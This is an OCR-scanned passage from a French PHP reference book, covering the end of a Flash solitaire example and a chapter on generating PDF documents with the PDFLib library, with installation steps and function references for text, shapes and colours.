// a tous les endroits possibles 
for ($x=0; $x<3*$larg; $x++) { 

for ($y=0; $y<3*$larg; $y++) { 
$tierx = f 1 oor($x/$l arg) ; 
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$tiery = floor($y/$larg) ; 

if ( (($tierx+$tiery)%2 == 1) 

| |(($tierx == 1) && ($tiery == 1))) { 

$pion[$x] [$y] = $anim->add($spritePion) ; 

$pi on [$x] [$y] ->setName ( "pi on" . $x . "x" . $y) ; 

$pion[$x] [$y]->moveTo(12+$x*12,12+$y*12) ; 



// Masque le pi on du milieu 

$anim->add(new SWFAction("pion4x4._visible=FALSE;")) ; 
$anim->nextFrame() ; 

header ("Con tent- type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 

?> 



□ □□ 

□ □□ 

□ □■ 



Figure 13.46 : 

Un solitaire en Flash 




□□□■■■■■a 



□□■ 
□□■ 

□□□ 
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Installation 



PHP permet de creer des documents PDF a la volee. II est ainsi possible de creer ce type de 
documents a partir d'informations recuperees d'un formulaire ou d'une base de donnees. 
Pour cela, nous disposons notamment de la bibliotheque PDFLib. 

PDFLib est gratuite sauf dans le cas d'un usage commercial. 

Cette bibliotheque est toujours en developpement et de nombreuses fonctions ont ete 
modifiees. Le peu de documentation disponible et les changements soudains dans le nom et les 
parametres des fonctions peuvent causer des problemes d'une version a 1'autre de PDFLib. 
Mais cela ne devrait pas vous empecher d'utiliser cette bibliotheque. 

14.1. Installation 

Sous Windows 

Avec l'archive du PHP Group 

Avec PHP 5, Vous devez copier le fichier php _pdf.dll disponible dans le paquetage PECL du 
PHP Group dans le repertoire des extensions PHP. Avec PHP 4, pas de soucis, la DLL fait deja 
parti de l'archive de PHP Group. 

Dans tous les cas, il vous faut ensuite modifier le fichier php.ini pour ajouter ou decommenter 
une ligne : 

extension=php_pdf .dl 1 



RENVOI 



y Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur 
V installation du paquetage PECL. 



Avec EasyPHP 

Le support de PDF est active par defaut avec EasyPHP. 

Sous Linux 

L'extension PDF n'est plus disponible avec les sources de la version 5 de PHP. 

Avec PHP4, vous devez, dans un premier temps, vous procurer la bibliotheque PDFLib 
disponible sur le site (en anglais) http://www.pdflib.com/ (il s'agit du fichier 
PDFlib-5. 0. 1 -Lima, tar.gz) . 

Apres avoir copie l'archive dans un repertoire quelconque (disons /usr/local/src/lib), vous devez 
la decompresses 

# gunzip PDFlib-5.0.1-Linux. tar.gz 

# tar xvf PDFlib-5.0.1-Linux.tar 

II vous est ensuite possible de lancer la compilation. 

# ./configure 



o ■ 

2 f 

| as 

tD -i 

= CD* 

— CD 

V> — 

2 I' 
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# make 

# make install 

Vous disposez desormais d'une serie de fichiers libpdf* sous le repertoire /usr/local/lib. 
II vous suffit alors de recompiler PHP avec l'option — with-pdf lib=/usr/locai . 



o Q- 

T3 -£2 
'£ § 

m - 

2 3 

. o 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 

compilation de PHP. 
RENVOI 

Les polices d'ecriture 

Pour utiliser une police d'ecriture, celle-ci devra etre disponible et declaree dans un fichier 
pdflib.upr. 

Quelques polices d'ecriture et un fichier pdflib.upr sont fournis avec la bibliotheque (sous le 
repertoire fonts). Vous pouvez copier ce repertoire dans un endroit quelconque (/usr/local/fonts 
par exemple). Pour utiliser les polices fournies, vous devrez modifier le fichier pfdlib.upr en 
decommentant et modifiant le chemin precise pour les polices. Ce qui, dans notre cas, 
donnerait (le slash devant le chemin est important) : 

//usr/local /fonts 

Si vous disposez d'autres polices d'ecriture, vous devrez completer ce fichier en consequence. 
Le chemin vers ce fichier doit etre declare dans une variable d'environnement 

PDFLIBRESOURCE. 

Idealement, cette variable devra etre definie dans le compte sous lequel le serveur tourne. II est 
toutefois possible de la declarer au niveau des scripts PHP. 

putEnv("PDFLIBRESOURCE=/chemin_vers_pdflib_url /pdf 1 ib.url "); 

Verification 

Pour verifier l'activation du support de PDFLib, appelez l'habituel script contenant <?php 
phpinf o ( ) ?>. Celui-ci doit afficher : 



pdf 



PDF Support 


enabled 


PDFlib GmbH Version 


4.0.3 


Revision 


^Revision: 1 .106 $ 



Figure 14.1 : phpinfo() 

14.2. Creer la base d'un document PDF 

La creation d'un document PDF passe par un certain nombre d'etapes obligatoires. 

II faut tout d'abord creer un "objet" (il ne s'agit toutefois pas d'un veritable objet, mais plutot 
d'une ressource) grace a la fonction pdf _new { ) . Les ressources ainsi allouees devront, au final, 
etre liberees par un appel a la fonction pdf_delete ( ) . 
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pdf_new() 

Cree un nouvel objet PDF en lui allouant la memoire necessaire. 

Syntaxe resource pdf_new(void) 

retour Un identifiant d'objet PDF. 



pdf_delete() 

Libere les ressources allouees pour un objet PDF. 

Syntaxe boolean pdf_del ete(resource $objetPDF) 

SobjetPDF Identifiant tel que retourne par pdf_new ( ) . 

retour TRUE. 

Une fois un objet PDF cree, vous devrez creer un document PDF. Pour cela, vous disposez de 
la fonction pdf_open_f ile ( ) qui vous permettra de creer, au choix, un fichier ou le document 
en memoire. Le document ainsi genere devra etre valide par un appel a pdf_open_ciose ( ) . 



pdf_open_file() 



Ouvre un nouveau document PDF (sous forme de fichier ou en memoire). 

Syntaxe boolean pdf_open_file (resource $objetPDF , string $nomFichier) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

$nomFichier Nom et chemin absolu du fichier a creer. Si cet attribut est une chaine vide, 

alors le document sera juste cree en memoire. Avec PHP4, ce parametre 
etait tout simplement optionnel. 

retour TRUE. 



o ■ 
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CD -i 

= CD* 
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pdf_close() 

Ferme le document PDF. 

Syntaxe boolean pdf_close(resource $objetPDF) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

retour TRUE. 
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Si vous avez opte pour un document cree en memoire, vous devrez obligatoirement faire appel 
a la fonction pdf _get_buf f er ( ) apres 1'appel a pdf_close ( ) , et avant celui a pdf_delete ( ) . 



pdf_get_buffer() 

Permet de recuperer le contenu de la memoire d'un objet PDF quand celui-ci n'a pas ete 
sauvegarde dans un fichier. 

Syntaxe string pdf_get_buffer (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

r e t o u r Le fichier PDF dans une chaine de caracteres. 

Et, enfin, chaque document doit necessairement contenir au moins une page. L'ajout et la 
creation d'une page debute par un appel a pdf_begin_page ( ) et se termine par un appel a 

pdf_end_page ( ) . 



pdf_begin_page() 



Creer une nouvelle page. 


Syntaxe 


boolean pdf begin page(resource $objetPDF, double $largeur, 




double $hauteur) 


$objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


$1 argeur 


Largeur en points. 


$hauteur 


Hauteur en points. 


retour 


TRUE. 


Voici un tableau de correspondances en points des formats les plus courants : 


Tableau 14.1 : Les tallies en points des formats courants de papier 


Format 


Taille en points 


AO (84x118,8 cm) 


2380 x 3368 


A1 (59,4 x 84 cm) 


1684x 2380 


A2 (42 x 59,4 cm) 


1190x 1684 


A3 (29,7x42 cm) 


842x1190 


A4 (21 x 29,7 cm) 


595 x 842 


A5 (14,85x21 cm) 


421 x 595 


A6 (10,5x14.85 cm) 


297x421 



Creer la base d'un document PDF 



Format 


Taille en points 


B5 (17.67x25 cm) 


501 x 709 


Letter (8.5" x 11") 


612x792 


Legal (8.5" x 14") 


612x1008 


Ledger (17" x 11") 


1224x792 



pdf_end_page() 

Termine la page courante. 



Syntaxe boolean pdf_end_page (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 

Le squelette d'un script de generation d'un document PDF aura done l'allure suivante dans le 
cas de la generation d'un fichier : 

<?php 

$pdf = pdf_new(); 

pdf_open_fi 1 e($pdf , "monFichier.pdf") ; 

// Appel aux fonctions precisant les informations 

// lies au fichier 

// Puis autant de pdf_begi n_page() pdf_end_page() que necessaire 



o ■ 
2 i~~ 



pdf_begin_page($pdf, 595, 842); // Page en A4 f £ 



// Contenu de la page 



CD 



O 

. CD- 

pdf_end_page($pdf) ; « =r. 

pdf_close($pdf); S = 

pdf_delete($pdf); =■ 

?> 

Et il aura Failure suivante dans le cas d'un document cree en memoire et envoye au navigateur : 

<?php 

$pdf = pdf_new(); 
pdf_open_file($pdf, ""); 

// Appel aux fonctions precisant les informations 
// lies au fichier 

// Puis autant de pdf_begi n_page() pdf_end_page() que necessaire 
pdf_begin_page($pdf , 595, 842); // Page en A4 

// Contenu de la page 
pdf_end_page($pdf) ; 
pdf_close($pdf) ; 

$donnees = pdf_get_buffer ($pdf ) ; 
pdf_delete($pdf); 
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header("Content-type: appl ication/pdf") ; 
header("Content-l ength : " .strlen($donnees)) ; 
header("Content-disposition: inline; filename=test.pdf") ; 
echo $donnees; 

?> 

II est evidemment possible d'envoyer le document au navigateur, meme lorsque celui-ci est 
stocke dans un fichier. II suffit, pour cela, de lire le contenu du fichier, comme nous le ferons 
dans le prochain exemple. 



14.3. Preciser les attributs (mots-cles) du document 

Pour chaque document PDF, il est possible de definir des mots-cles, le nom de l'auteur, etc. 



o Q- 

« g 

m - 
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pdf_set_info() 



Permet de remplir les informations d'un fichier PDF. 
Syntaxe 



$objetPDF 
$cle 



$val ue 
retour 



boolean pdf_set_i nfo (resource $objetPDF, string $cle, string 
$val eur) 

Identifiant tel que retourne par pdf _new ( ) . 

Pouvant prendre les valeurs predefinies "Subject", "Title", 
"Creator", "Author", "Keywords" ou une valeur definie par 
l'utilisateur (a l'exception des mots reserves "CreationDate", 
"Producer", "ModDate" et "Trapped"). 

Valeur associee a la cle. 

TRUE. 



L'appel a pdf_set_inf o ( ) se fera en dehors de la creation d'une page (en dehors d'un bloc 

pdf_begin_page ( ) , pdf _end_page ( ) ). 



14.4. Preciser les parametres de la page 

Pour chaque page du document, il est possible de definir (ou redefinir) les parametres devant 
etre utilises. 



1144 



Preciser les parametres de la page 



pdf_set_value() 



Permet d'attribuer une valeur aux parametres de la page (taux de compression, interligne, etc). 



Syntaxe 


boolean pdf set val ue(resource $objetPDF, string $parametre, 
double $valeur) 


$objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 




$parametre 


Parametre a definir. 




$val eur 


Valeur a attribuer. 




retour 


TRUE. 




Voici un tableau des valeurs pouvant etre modifiees : 




Tableau 14.2 : Valeurs pouvant etre modifiees par pdf_set_value() 




Cle 


Valeur 


Valeur par defaut 


r~* nmr> v~ a o 
U UILLJJ.L t5 


Rpfinit la rnmnrpQQinn Hii rinmmpnt pntrp n pt q n 

UCIIIIIL Id UUI I l|JI GOOlUI I UU UUVjUMICIU CIILIC U CI y . U 

indique qu'il n'y a pas de compression tandis que 9 
est la compression la plus forte. 


6 


pagewidth 


Modifie la largeur de la page courante. 




pagewidth 


Modifie la largeur de la page courante. 




pageheight 


Modifie la hauteur de la page courante. 




leading 


Modifie I'espace entre deux lignes de base de deux 
lignes consecutives. 




Textrise 


Modifie I'espace entre la position desiree du texte et 
la ligne de base. 


o (et remis a o a 
chaque nouvelle page). 


text rendering 


pour du texte plein. 

1 pour n'avoir que le contour du texte. 

2 pour du texte plein et le contour. 

3 pour ne pas afficher le texte, mais I'ajouter au 
chemin. 





Horizscaling 


Pourcentage pour elargir ou retrecir le texte. 


100 


charspacing 


Espace entre deux caracteres a ajouter a 
I'espacement par defaut. 





wordspacing 


Espace a ajouter a la taille du caractere 
d'espacement. 





duration 


Definit le temps d'affichage en secondes pour la 
page courante. 


1 



II est egalement possible d'ajouter des signets aux pages. 
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pdf_add_bookmark() 

Ajoute un signet a une page. 
Syntaxe 



$objetPDF 

$texte 

$parent 

$ouvri r 

retour 



int pdf_add_bookmark(resource $objetPDF, string $texte, int 
$parent, boolean $ouvrir) 

Identifiant tel que retourne par pdf _new ( ) . 

Label du signet. 

Identifiant du signet parent (0 revient a creer un signet a la racine de 
l'arborescence). Ce parametre est optionnel avec PHP4. 

Si cet argument vaut TRUE, alors les enfants du signet seront visibles. Ce 
parametre est optionnel avec PHP4. 

Identifiant de signet (pouvant servir de parametre parent pour un autre 
signet). 



14.5. Afficher du texte 



Avant d'afficher du texte, vous devrez selectionner une police d'ecriture. Vous ne pouvez 
toutefois selectionner une police d'ecriture que si celle-ci a ete precedemment chargee (ou tout 
au moins ajoutee a la liste des polices utilisees). 



o Q- 
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pdf_findFont() 



Ajoute une police d'ecriture a la liste des polices. 

Syntaxe int pdf_fi ndFont (resource $objetPDF, string $nomPolice, string 

$encodage, boolean $integrer) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$nomPol i ce Nom de la police d'ecriture a utiliser. 

$encodage "builtin", "macroman", "winansi", "ebcdic", "host" ou un nom 

defini par l'utilisateur. 

$i ntegrer TRUE si la police doit etre integree au document , FALSE sinon (le lecteur 

devra avoir la police a sa disposition). 

retour Un identifiant de police d'ecriture, ou FALSE. 
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pdf_setFont() 

Definit la police d'ecriture courante. 



Syntaxe boolean pdf_setFont (resource $objetPDF, int $police, double 

$taille) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$pol i ce Identifiant tel que retourne par pdf _f indFont ( ) . 

$tai 1 1 e Taille de la police (en points), 

retour TRUE. 



Une fois ce travail effectue, vous pouvez commencer a envisager d'ajouter du texte a votre 
document grace, notamment, a la fonction pdf _show_xy ( ) . 



pdf_show_xy() 

Affiche du texte a une position definie par ses coordonnees. 

Syntaxe boolean pdf_show_xy (resource $objetPDF, string $texte, double 

$x, double $y) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$texte Texte a afficher. ^ 

$x Abscisse du bord gauche du texte (l'origine du document est en bas a ° r~ 

gauchedelapage). 5 M 

—3 Ci 



CD 



_ CD- 
— ■ Q5 



$y Ordonnee de la ligne de base du texte (l'origine du document est en bas a 

gauche de la page). " ~ 

s = 

retour TRUE. -n a. 

CD 

Les fonctions que nous avons vues jusqu'a present nous permettent de creer le script (assez 
simple) suivant : 

Listing 14.1 : pdd.php 

<?php 

$nomFi chier=" test. pdf " ; 
// Creation d'un pdf 
$pdf = pdf_new(); 

// Ouverture d'un fichier en ecriture le nom 
// du fichier est un chemin absolu. 
pdf_open_fi le($pdf , $nomFi chier) ; 

// Definition de l'auteur du document 

pdf_set_info($pdf , "Author", "Thomas, Damien, Laurent et Pern"); 
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// Definition du titre 

pdf_set_info($pdf, "Title", "Mon premier PDF en PHP") ; 
// Definition du createur du PDF 

pdf_set_info($pdf, "Creator", "The PHP bible team :)"); 
// Definition du sujet 

pdf_set_info($pdf, "Subject", "PDF en PHP"); 

// Creation d'une page de 595 points par 842 (A4) 

// (72 points par pouce soit 28,368 par cm) 

pdf_begin_page($pdf , 595, 842); 

// Donne le label "La page" a la page 

pdf_add_bookmark($pdf, "La page", 0, TRUE); 

// Definit la police courante 

$font = pdf_findfont($pdf, "Courier", "host", FALSE); 
if ($font) { 

pdf_setfont($pdf, $font, 30); 
} else { 

die ("Police d'ecriture introuvable") ; 
}// Definit la valeur de textrendering 
pdf_set_val ue($pdf , "textrendering", 1); 

// Affiche le texte "Trop trop cool ce true" aux coordonnees (50,750) 
// (50,750) est le point inferieur gauche de la ligne de base 
// La ligne de base est la ligne inferieur naturelle 
// (p,q,y... descendent en dessous) 

// Le point (0,0) est le point inferieur gauche du document) 
pdf_show_xy ($pdf , "Trop trop cool ce true", 50, 750); 

// Termine la page 
pdf_end_page($pdf); 
■° |±j // Ferme le document PDF 

§ a. pdf_close($pdf); 

■jS -S2 // Efface l'objet PDF de la memoire et les ressources associees 

pdf delete($pdf) ; 



m ~ 

2 3 

. O 



I* Cette parti e concerne l'affichage */ 
/* du document, le fichier est deja */ 
/* cree sur le disque dur. */ 

$taille = filesize($nomFichier) ; 
header("Content-type: appl ication/pdf") ; 
header("Content-Length: $taille") ; 

header("Content-Disposition: inline; filename=test.pdf" 
readf i 1 e ($nomFi chi er) ; 

?> 
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Dont l'affichage serait : 



3 http:S/localho5tffliblePHPScript5ft:hap13fc13-pdf1.phD - Microsoft Internet ... |-J|nJ|Xj 



Fichier Edition Affichage Favoris Outils ? 

Q Precedents > f @ L?l yP RKnerl:ner > Fsvoris ^J[> Media iff 

. http;//lQcalhpst/BiplePHP5cripcs/chapl3,lcl3-pdfl,php v | OK Liens M 



a a ft « - g 101 \m 



!<<►►! 



9 |66,67% - © Q 
r Bookmark ' 

□ La page |H 



J 



ll-B-l 



Trap top cool os tryc 



~ I H < 1of1 T7l 3,26x 11,69 in □ hi 



Figure 14.2 : 

Ecrire du texte dans un 
fichierPDF 



II est egalement possible d'ecrire du texte a la position courante du pointeur de texte, ce qui 
permet, en particulier, d'ajouter du texte a la suite du texte precedent. 



pdf_show() 



o ■ 

2 l— 

| aj 

—■ n 

CD -i 

Affiche du texte a la position courante du pointeur. 3. 2" 

-D 5" 

Syntaxe boolean pdf_show (resource $objetPDF, string $texte) o = 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$texte Texte a afficher. 

retour TRUE. 

La position courante du pointeur de texte peut etre modifiee a tout instant grace a la fonction 

pdf_set_text_pos ( ) . 



pdf_set_text_pos() 

Modifie la position courante du pointeur de texte. 

Syntaxe boolean pdf_set_text_pos (resource $objetPDF, double $x, double 

$y) 
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$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$x Abscisse du pointeur. 

$y Ordonnee du pointeur. 

retour TRUE. 

Vous n'aurez toutefois pas besoin d'avoir recours a des calculs savants pour ecrire du texte sur 
une nouvelle ligne. 



pdf_continue_text () 

Affiche du texte a la ligne suivante. L'espace entre deux lignes est determine par la variable 
leading qui peut etre modifiee par pdf_set_vaiue ( ) . 

Syntaxe void pdf_conti nue_text (i nt $objetPDF, string $texte) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$texte Texte a afficher. 

De meme, l'ecriture sur plusieurs colonnes se trouve grandement simplified par la fonction 

pdf _show_boxed ( ) . 



» u. pdf_show_boxed() 

»= v> Permet d'afficher un texte dans un rectangle virtuel ; l'alignement et les retours a la ligne seront 

'gj g automatiquement geres pour etre ajustes au rectangle. 



Syntaxe 


int pdf show boxed(resource $objetPDF, string $texte, double 




$gauche, double $haut, double $largeur, double $hauteur, 




string $al ignement, string $option) 


$objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


$texte 


Texte a afficher. 


$gauche 


Abscisse du bord gauche. 


$haut 


Ordonnee du bord superieur. 


$1 argeur 


Largeur du rectangle (positionner largeur et hauteur a revient a ecrire 




sur une ligne). 


$hauteur 


Hauteur du rectangle (positionner largeur et hauteur a revient a ecrire 




sur une ligne). 


$al ignement 


Au choix : 




"left" pour un alignement a gauche. 




"right" pour un alignement a droite. 




"center" pour centrer le texte. 
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"justify" pour un texte justifie (sauf la derniere ligne qui sera alignee a 
gauche). 

"full justify" pourun texte justifie (y compris la derniere ligne). 

$ o p t i o n "b 1 ind" si vous ne souhaitez pas afficher le texte mais simplement f aire un 

test (pour, par exemple, determiner si avec les valeurs choisies tout le texte 
rentre dans le rectangle). Ce parametre est optionnel avec PHP 4. 

retour Le nombre de caracteres qui n'ont pu etre contenus dans le rectangle. 



Un petit penchant pour Vecriture inclinee ? 

It =^ Si vous souhaitez ecrire un texte incline, il vous suffit de faire pivot sur les axes des 
REHARQJE coordonnees (comme nous le verrons plus loin). 



Largeur d'un texte 



pdf_stringWidth() 

Retourne la largeur d'une chaine de caracteres en points en utilisant, par defaut, la police 
d'ecriture courante. 



Syntaxe 


double pdf stringWidth(resource $objetPDF, string $texte, int 








$police, double $tai lie) 






$objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


a. 

o 


r- 


$texte 


Texte dont on veut connaitre la largeur. 


c= 
3 

CD 


Q5 


$pol ice 


Identifiant de police de caracteres tel que retourne par 


3 

V) 


CD- 
21 




pdf_f indFont ( ) . Ce parametre est optionnel avec PHP 4. 


-o 
o 


o' 

3 


$taille 


Taille de la police d'ecriture. Ce parametre est optionnel avec PHP 4. 


-n 


a. 

CD 


retour 


La largeur de la chaine de caracteres en utilisant la police d'ecriture 







definie. 



Les parametres de la police d'ecriture 



pdf_get_parameter () 

Retourne des informations liees a la police de caracteres utilisee. 

Syntaxe string pdf_get_parameter(i nt $objetPDF, string $cle, double 

$remplace) 
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3>objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


$cle 


Nom du parametre a recuperer. 


$rempl ace 


Valeur de remplacement. Ce parametre est optionnel avec PHP 4. 


retour 


La valeur du parametre. 


Tableau 14.3 : 


Parametre recuperable par pdf_get_parameter() 


Cle 


Description 


f ontencoding Recupere le nom de I'encodage de la police d'ecriture predefinie par 

pdf_set_f ont ( ) . 


underline 


Retourne la chame de caracteres "true" si le texte est souligne, "false" 
sinon. 


overline 


Retourne la chame de caracteres "true" si le texte est surligne, "false" 
sinon. 


strikeout 


Retourne la chame de caracteres "true" si le texte est barre, "false" 
sinon. 



14.6. Dessiner des formes geometriques 

Maintenant que nous avons vu comment ecrire du texte dans un document PDF, voyons 
comment nous pouvons dessiner. 

oj Le trace se fait en dessinant des cercles, des rectangles, en tracant des segments entre la 

c Q position courante du curseur et un point quelconque, en modifiant la position courante du 

■j= u> curseur, etc. Mais, quoi qu'il arrive, le trace doit etre valide par un appel aux fonctions 

*oj = pdf_*_stroke ( ) (pour tracer le contour), pdf_*_f ill ( ) (pour remplir la forme ainsi tracee) 

^ E ou pdf_*_f iii_stroke ( ) (pour remplir et tracer le contour de la forme). 

— I o 
. o 
^ -a 

Les lignes 

Pour tracer une ligne, vous serez sans doute amene a deplacer le curseur. 



pdf_moveTo() 

Definit la nouvelle position du pointeur graphique. 



Syntaxe boolean pdfjnoveTo (resource $objetPDF, double $x, double $y) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$x Abscisse du pointeur graphique. 

$y Ordonnee du pointeur graphique. 

retour TRUE. 
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pdf_lineTo() 

Trace un segment depuis la position du pointeur graphique jusqu'aux coordonnees passees en 
parametre. 



Syntaxe boolean pdf_l ineTo(resource $objetPDF, double $x, double $y) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$x Abscisse de la fin du segment. 

$y Ordonnee de la fin du segment, 

retour TRUE. 



Les rectangles 



pdf_rect() 

Permet de dessiner un rectangle (le pointeur graphique prend alors la position du coin inferieur 
gauche du rectangle). 



Syntaxe 


boolean pdf rect (resource $objetPDF, double $x, double $y, 




double $largeur, double $hauteur) 


$objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


$x 


Abscisse du bord gauche du rectangle. 


$y 


Ordonnee du bord inferieur du rectangle. 


$1 argeur 


Largeur du rectangle. 


$hauteur 


Hauteur du rectangle. 


retour 


TRUE. 



Les cercles et arcs de cercle 



pdf_circle() 



Dessine un cercle (le pointeur graphique prend alors la position de l'extremite droite du 
cercle). 

Syntaxe boolean pdf_ci rcl e(resource $objetPDF, double $x, double $y, 

double $rayon) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$x Abscisse du centre de l'arc. 

$y Ordonnee du centre de l'arc. 
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$rayon 
retour 



Rayon de l'arc. 
TRUE. 



pdf_arc() 



Dessine un arc de cercle dans le sens trigonometrique (un segment reliera la position courante 
du pointeur a la premiere extremite de l'arc, et le pointeur graphique sera deplace a la seconde 
extremite de l'arc). 



Syntaxe 

$objetPDF 

$x 

$y 

$rayon 
$angl el 
$angle2 
retour 



boolean pdf_arc (resource $objetPDF, double $x, double $y, 
double $rayon, double $anglel, double $angle2) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du centre de l'arc. 

Ordonnee du centre de l'arc. 

Rayon de l'arc. 

Angle de depart (en degres). 

Angle de fin (en degres). 

TRUE. 
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pdf_arcn() 



Dessine un arc de cercle dans le sens horaire (un segment reliera la position courante du 
pointeur a la premiere extremite de l'arc, et le pointeur graphique sera deplace a la seconde 
extremite de l'arc). 



Syntaxe 


void pdf arcn (resource $objetPDF, double $x, double $y, double 




$rayon, double $anglel, double $angle2) 


$objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


$x 


Abscisse du centre de l'arc. 


$y 


Ordonnee du centre de l'arc. 


$rayon 


Rayon de l'arc. 


$angl el 


Angle de depart (en degres). 


$angle2 


Angle de fin (en degres). 


retour 


TRUE. 
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Les courbes de Bezier 



pdf_curveTo() 



Permet de tracer une courbe de Bezier cubique entre la position courante du pointeur 
graphique et les coordonnees du dernier point precise (qui deviendra la nouvelle position du 
pointeur) en s'appuyant sur deux autres points. 



Syntaxe 


boolean pdf curveto(resource $objetPDF, double $xl, double 




$yl, double $x2, double $y2, double $x3, double $y3) 


$objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


$xl 


Abscisse du premier point d'appui 


$yi 


Ordonnee du premier point d'appui. 


$x2 


Abscisse du deuxieme point d'appui. 


$y2 


Ordonnee du deuxieme point d'appui. 


$x3 


Abscisse du point d'arrivee. 


$y3 


Ordonnee du point d'arrivee. 


retour 


TRUE. 


Cloture et validation du trace 


Si vous souhaitez fermer la figure que vous venez de dessiner, sans avoir a preciser les 


coordonnees du point initial du trace, vous devez faire appel a pdf_ciosePath ( ) . 


pdf_closePath() 




Permet de clore un trace. 


Syntaxe 


boolean pdf cl osePath (resource $objetPDF) 


$objetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


retour 


TRUE. 
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Toutefois, un appel a pdf_closePath ( ) ne valide pas le trace du contour (operation qui doit 
necessairement etre faite avant l'appel a pdf_end_page ( ) ), contrairement aux fonctions qui 
suivent. 
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pdf_closepath_stroke () 

Permet de clore un trace et d'afficher le contour. 

Syntaxe boolean pdf_cl osepath_stroke(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 



pdf_closePath_fill_stroke () 

Permet de clore un trace, de le remplir et d'afficher le contour (les couleurs du remplissage et 
du contour etant definies par pdf_selColor ( ) ). 

Syntaxe boolean pdf_cl osePath_fi 1 l_stroke(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 

Si, toutefois, vous considerez que votre trace est ferme, vous pouvez appeler les fonctions 
suivantes : 



'£ g 
2 3 

. o 



pdf_stroke() 

Permet d'afficher le trace. 

Syntaxe boolean pdf_stroke (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour true. 



pdf_fill() 

Permet de remplir un trace. 

Syntaxe boolean pdf_fi 1 1 (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 
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pdf_fill_stroke() 

Permet de remplir un trace et d'en afficher le contour (les couleurs du remplissage et du 
contour etant definies par pdf_seiColor ( ) ). 

Syntaxe boolean pdf_f i 1 l_stroke(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 



14.7. Modifier les parametres du trace 

II est, bien entendu, possible de jouer sur les parametres du trace (comme la couleur, la largeur 
du trace, etc.). Mais attention, ceci ne peut se faire que si le trace n'a pas ete commence (i.e. 
juste apres avoir valide le trace precedent). 



La couleur 



pdf_setColor() 

Definit la couleur de trait et/ou de remplissage. 

o. 

Syntaxe boolean pdf_setCol or (resource $objetPDF, string $type, string ° ^_ 

$palette, numeric $cl, double $c2, double $c3, double $c4) 5 °> 

CD —i 

$objetPDF Identifianttelqueretourneparpdf_new( ) . = g- 

$type Element dont vous souhaitez changer la couleur : u ° 

"f ill" pour changer la couleur de remplissage. ti a. 

"stroke" pour changer la couleur du trait. 

"both" pour changer les deux (et leur donner la meme couleur). 

$pal ette Precise comment vous souhaitez identifier la couleur : 

"gray" si vous souhaitez indiquer un niveau de gris. 
"r gb" si vous souhaitez preciser les composantes rouge, verte et bleue de la 
couleur. 

"cmyk" si vous souhaitez preciser les composantes cyan, magenta, jaune et 
noire de la couleur. 

"spot" si vous souhaitez preciser l'identifiant de la couleur (dans le cas 
d'une couleur definie par pdf _makeSpotColor ( ) decrite ci-apres). 
"pattern". 

$cl Selonlescas: 

Niveau de gris (0 = noir, 1 = blanc) dans le cas "gray". 
Composante rouge (entre et 1) dans le cas "rgb". 
Composante cyan (entre et 1) dans le cas "cmyk". 
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Identifiant de la couleur dans le cas "spot". 
Indice dans la palette dans le cas "pattern". 

$c2 Selon les cas : (Ce parametre est optionnel avec PHP4) 

Coefficient a appliquer a la couleur (entre = noir et 1 = couleur 

sauvegardee) dans le cas "spot". 

Composante verte (entre et 1) dans le cas "rgb". 

Composante magenta (entre et 1) dans le cas "cmyk" 

$c3 Selon les cas : (Ce parametre est optionnel avec PHP4) 

Composante bleue (entre et 1) dans le cas "rgb". 
Composante jaune (entre et 1) dans le cas "cmyk" 

$c4 Composante noire (entre et 1, uniquement dans le cas "cmyk"). Ce 

parametre est optionnel avec PHP4. 

retour TRUE. 
Quelques exemples : 

// Definit la couleur de remplissage a bleu 

pdf_setColor($pdf, "fill", "rgb", 0, 0, 1); 

// Definit la couleur de trait a gris clair 

pdf_setColor($pdf , "stroke", "gray", 0.8); 

// Definit la couleur de trait et de remplissage a rouge 

pdf_setColor($pdf, "both", "cmyk", 1, 0, 0, 0.7); 

Comme cela a ete evoque au cours de la description de la fonction precedente, il est possible 
d'attribuer un identifiant a une couleur (ce qui est plus simple d'utilisation). Pour cela, il faut 
utiliser la fonction pdf_makeSpotColor ( ) . 



pdf_makeSpotColor () 

Retourne un identifiant pour la couleur de remplissage courante. 



Syntaxe int pdfjnakespotcol or (resource $objetPDF, string $nom) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

$nom Nom a donner a la couleur. 

retour Identifiant de la couleur. 



La largeur, les extremites et les bords 

pdf_setLineWidth() 

Permet de modifier l'epaisseur du trait. 

Syntaxe boolean pdf_setLineWidth(resource SobjetPDF, double $largeur) 



Modifier les parametres du trace 



$objetPDF 
$1 argeur 
retour 




Identifiant tel que retourne par pdf _new ( 
Largeur du trait (en points). 

TRUE. 

Figure 14.3 : 

Largeur du trait 



pdf_setLineJoin() 



Definit la forme du coin forme par deux segments dont on a demande a tracer le contour. 

